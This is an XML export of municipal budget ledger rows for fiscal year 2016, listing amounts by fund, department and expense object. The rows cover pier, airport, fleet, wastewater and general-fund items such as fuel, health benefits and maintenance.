<row _id="20484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2426</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2426</total></row>
<row _id="20485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>95275</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>95275</total></row>
<row _id="20486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7010</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7010</total></row>
<row _id="20487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4081</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4081</total></row>
<row _id="20488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402690.0</object><object_description>CNG FUEL-DEPT USAGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-328440</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-328440</total></row>
<row _id="20489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4272</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4272</total></row>
<row _id="20490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12911</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12911</total></row>
<row _id="20491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>638</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>638</total></row>
<row _id="20492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-275000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-275000</total></row>
<row _id="20493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>465246</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>465246</total></row>
<row _id="20494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9547</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9547</total></row>
<row _id="20495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2076</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2076</total></row>
<row _id="20496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>242556</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>242556</total></row>
<row _id="20497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="20498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15300</total></row>
<row _id="20499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>400600.0</object><object_description>OVERSIZE LOAD</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-30000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-30000</total></row>
<row _id="20501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3595</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3595</total></row>
<row _id="20502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-5212</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5212</total></row>
<row _id="20503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-21145</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21145</total></row>
<row _id="20504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-9139</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9139</total></row>
<row _id="20505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-19966</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-19966</total></row>
<row _id="20506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5100</total></row>
<row _id="20507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7752</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7752</total></row>
<row _id="20509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1153</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1153</total></row>
<row _id="20510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="20511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5700</total></row>
<row _id="20512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>576</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>576</total></row>
<row _id="20513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533260.0</object><object_description>NON-AVIATION MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>114839</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>114839</total></row>
<row _id="20514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>207599</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>207599</total></row>
<row _id="20515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>401801.0</object><object_description>PROCEEDS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-171000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-171000</total></row>
<row _id="20516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>582025</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>582025</total></row>
<row _id="20517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>27756</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27756</total></row>
<row _id="20518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3045</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3045</total></row>
<row _id="20519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-16036</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-16036</total></row>
<row _id="20520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-8893</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8893</total></row>
<row _id="20521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-21528</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21528</total></row>
<row _id="20522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-6807</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6807</total></row>
<row _id="20523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-12062</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12062</total></row>
<row _id="20524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-5885</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5885</total></row>
<row _id="20525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-21033</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21033</total></row>
<row _id="20526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-3130</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3130</total></row>
<row _id="20527"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-3069</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3069</total></row>
<row _id="20528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-1880</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1880</total></row>
<row _id="20529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3440</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3440</total></row>
<row _id="20530"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4697</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4697</total></row>
<row _id="20531"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2712</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2712</total></row>
<row _id="20532"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>54546</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>54546</total></row>
